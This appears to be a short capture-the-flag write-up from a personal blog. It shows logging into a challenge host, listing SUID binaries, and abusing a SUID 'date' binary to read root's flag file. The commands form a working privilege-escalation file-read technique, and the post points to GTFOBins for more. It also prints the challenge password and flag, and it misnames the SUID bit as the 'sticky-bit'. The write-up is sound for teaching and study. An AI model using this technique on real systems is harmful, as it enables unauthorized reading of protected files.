Ulli Weichert/ April 10, 2022/ IT-Security, Write-Ups/ 0Kommentare

root-me

Points: 400

• SSH into the challenge host, 0.cloud.chals.io on port 19777
• Username: ubuntu Password: jctf2022!
• Find the flag

Solving

We have login credentials for a server... so let's dive in:

ssh ubuntu@0.cloud.chals.io -p 19777

Okay... first we check sudo permissions, therefore just use sudo -l, but we don't have any permissions.
So let's look for some other quickwins, shall we?

There is something called sticky-bit in linux, with this we could possibly escalate our priviledges.

ubuntu@5f2d47a58826:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/date
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

Ah great - there are some bins we could use... I'll go with date. with this we can read a file with root permissions.
Let's try that:

ubuntu@5f2d47a58826:~$ LFILE=/root/flag.txt
ubuntu@5f2d47a58826:~$ date -f $LFILE
date: invalid date 'jctf{4cc355_6r4n73d}'

Great, there it is 🙂

GTFO bins

Please keep this in mind. Sometimes the sticky bit is neseccary, but it is also dangerous. The github page gtfobins.github.io will show the tricks to weaponize such bins.